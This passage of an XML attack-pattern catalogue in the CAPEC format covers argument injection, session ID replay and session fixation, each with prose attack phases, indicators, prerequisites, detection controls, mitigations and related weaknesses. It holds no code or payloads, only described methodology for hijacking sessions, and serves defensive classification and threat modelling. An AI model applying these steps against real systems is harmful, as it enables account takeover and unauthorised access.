												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>1. Attempt variations on argument
											content</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Possibly using an automated tool, the attacker
												will perform injection variations of the
												arguments.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a very large list of probe strings in
												order to detect if there is a positive result,
												and, what type of system has been targeted (if
												obscure).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record results, error
												messages and/or log if accessible.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application behaves like the injection
												has been a success.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>No result appears.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Failure">
												<Outcome_Description>It is possible to monitor the
												application and to see that the argument has been
												validated.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Actively monitor
												malicious inputs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor the services
												and/or methods uses of the
												arguments.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Abuse of the
											application</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker injects specific syntax into a
												particular argument in order to generate a specific
												malicious effect in the targeted application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Manually inject specific payload into
												targeted argument.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker observes desired
												effect.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Actively monitor
												malicious inputs.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Monitor the services
												and/or methods uses of the
												arguments.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Target software fails to strip all user-supplied input of any content that
						could cause the shell to perform unexpected actions.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Software must allow for unvalidated or unfiltered input to be executed on
						operating system shell, and, optionally, the system configuration must allow
						for output to be sent back to client.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A recent example instance of argument injection occurred against Java
							Web Start technology, which eases the client side deployment for Java
							programs. The JNLP files that are used to describe the properties for
							the program. The client side Java runtime used the arguments in the
							property setting to define execution parameters, but if the attacker
							appends commands to an otherwise legitimate property file, then these
							commands are sent to the client command shell.</Text>
						<Text>Source http://www.securityfocus.com/archive/1/393696</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker has to identify injection vector, identify the operating
							system-specific commands, and optionally collect the output.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to communicate synchronously or asynchronously with server.
					Optionally, ability to capture output directly through synchronous communication
					or other method such as FTP.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Do not program input values directly on command shell, instead
						treat user input as guilty until proven innocent. Build a function that
						takes user input and converts it to applications specific types and values,
						stripping or filtering out all unauthorized commands and characters in the
						process.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Limit program privileges, so if metacharcters or other methods
						circumvent program input validation routines and shell access is attained
						then it is not running under a privileged account. chroot jails create a
						sandbox for the application to execute in, making it more difficult for an
						attacker to elevate privilege even in the case that a compromise has
						occurred.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Implement an audit log that is written to a separate host,
						in the event of a compromise the audit log may be able to provide evidence
						and details of the compromise.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Malicious input delivered through standard input, the attacker inserts
					additional arguments on the application's standard interface </Text>
			</Injection_Vector>
			<Payload>
				<Text>Varies with instantiation of attack pattern. Malicious payload either pass
					commands through valid paramters or supply metacharacters that cause unexpected
					termination that redirects to shell</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network (e..g Intranet)</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to, this is particularly problematic when the
						sprogram is run as a system or privileged account.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>146<!--Improper Neutralization of Expression/Command Delimiters--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>78<!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>185<!--Incorrect Regular Expression--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>137<!--Parameter Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Attack
							Prerequisites and Related Guidelines</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="60" Name="Reusing Session IDs (aka Session Replay)"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the reuse of valid session ID to spoof the target
						system in order to gain privileges. The attacker tries to reuse a stolen
						session ID used previously during a transaction to perform spoofing and
						session hijacking. Another name for this type of attack is Session
						Replay.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker interacts with the target host and
												finds that session IDs are used to authenticate
												users.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker steals a session ID from a valid
												user.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker tries to use the stolen session ID to
												gain access to the system with the priviledges of
												the session ID's original owner.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target host uses session IDs to keep track of the users.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Session IDs are used to control access to resources.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The session IDs used by the target host are not well protected from
						session theft.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Social Engineering</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and
							bypass access controls.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-1999-0428</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Merak Mail IceWarp Web Mail uses a static identifier as a user session
							ID that does not change across sessions, which could allow remote
							attackers with access to the ID to gain privileges as that user, e.g. by
							extracting the ID from the user's answer or forward URLs.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2002-0258</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Low: If an attacker can steal a valid session ID, he can then try to
							be authenticated with that stolen session ID.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>More sophisticated attack can be used to hijack a valid session from a
							user and spoof a legitimate user by reusing his valid session ID.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can listen to a conversation between the client and
							server and steal a valid session ID.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker can try to steal session information from the user's
							coookies.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker can try a valid session from a finished transaction and
							find out that the transaction associated with the session ID did not
							time out.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Always invalidate a session ID after the user logout.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Setup a session time out for the session IDs.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Protect the communication between the client and server. For instance it
						is best practice to use SSL to mitigate man in the middle attack.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not code send session ID with GET method, otherwise the session ID will
						be copied to the URL. In general avoid writing session IDs in the URLs. URLs
						can get logged in log files, which are vulnerable to an attacker.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Encrypt the session data associated with the session ID.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use multifactor authentication.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>294<!--Authentication Bypass by Capture-replay--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>384<!--Session Fixation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>488<!--Data Leak Between Sessions--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>539<!--Information Leak Through Persistent Cookies--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>664<!--Improper Control of a Resource Through its Lifetime--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>380<!--WASC Threat Classification 2.0 - WASC-47 - Insufficient Session Expiration--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Securing the Weakest Link</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>J2EE</Framework>
					<Framework>.NET</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eric Dalci</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-25</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="61" Name="Session Fixation" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker induces a client to establish a session with the target
						software using a session identifier provided by the attacker. Once the user
						successfully authenticates to the target software, the attacker uses the
						(now privileged) session identifier in their own transactions. This attack
						leverages the fact that the target software either relies on
						client-generated session identifiers or maintains the same session
						identifiers after privilege elevation.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Setup the Attack</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Setup a session: The attacker has to setup a trap
												session that provides a valid session identifier, or
												select an arbitrary identifier, depending on the
												mechanism employed by the application. A trap
												session is a dummy session established with the
												application by the attacker and is used solely for
												the purpose of obtaining valid session identifiers.
												The attacker may also be required to periodically
												refresh the trap session in order to obtain valid
												session identifiers.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker chooses a predefined identifier
												that he knows.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker creates a trap session for the
												victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application accepts predefined, or
												user-provided session IDs</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The application ignores predefined, or
												user-provided session IDs and provides new session
												IDs.</Text>
												</Indicator_Description>
												<Environments>env-Web env-Peer2Peer env-CommProtocol
												env-ClientServer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A trap session or a predefined
												session ID is established.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Detect and alert on
												users who provide unknown session IDs in their
												connection establishment. Since this also fits the
												scenario where a user's session has expired, the
												heuristic must be a bit smarter, perhaps looking
												for an unusually high number of such occurrences
												in a short time
												frame.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Detect and alert on
												multiple origins connecting with the same
												predefined session
												ID.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Attract a Victim</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Fixate the session: The attacker now needs to
												transfer the session identifier from the trap
												session to the victim by introducing the session
												identifier into the victim's browser. This is known
												as fixating the session. The session identifier can
												be introduced into the victim's browser by
												leveraging cross site scripting vulnerability, using
												META tags or setting HTTP response headers in a
												variety of ways.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Attackers can put links on web sites (such
												as forums, blogs, or comment forms).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attackers can establish rogue proxy servers
												for network protocols that give out the session ID
												and then redirect the connection to the legitimate
												service.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Peer2Peer env-ClientServer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Attackers can email attack URLs to potential
												victims through spam and phishing
												techniques.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A victim makes a connection
												according to the attacker's
												design.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Record referrers from
												web clients that connect with predefined session
												IDs. Alert when referrers do not match known,
												acceptable sites.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Abuse the Victim's
											Session</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Takeover the fixated session: Once the victim has
												achieved a higher level of privilege, possibly by
												logging into the application, the attacker can now
												take over the session using the fixated session
												identifier.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker loads the predefined session ID
												into his browser and browses to protected data or
												functionality.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker loads the predefined session ID
												into his software and utilizes functionality with
												the rights of the victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-CommProtocol env-ClientServer
												env-Peer2Peer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gains access to
												data or functionality with the rights of the
												victim.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Detect and alert on
												multiple simultaneous uses of the same session ID
												from different
												origins.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Corrective">
												<Security_Control_Description>Disconnect all
												simultaneous users of the same session ID when
												they arrive from different
												origins.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Session identifiers that remain unchanged when the privilege levels
						change.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Permissive session management mechanism that accepts random user-generated
						session identifiers</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Predicatable session identifiers</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
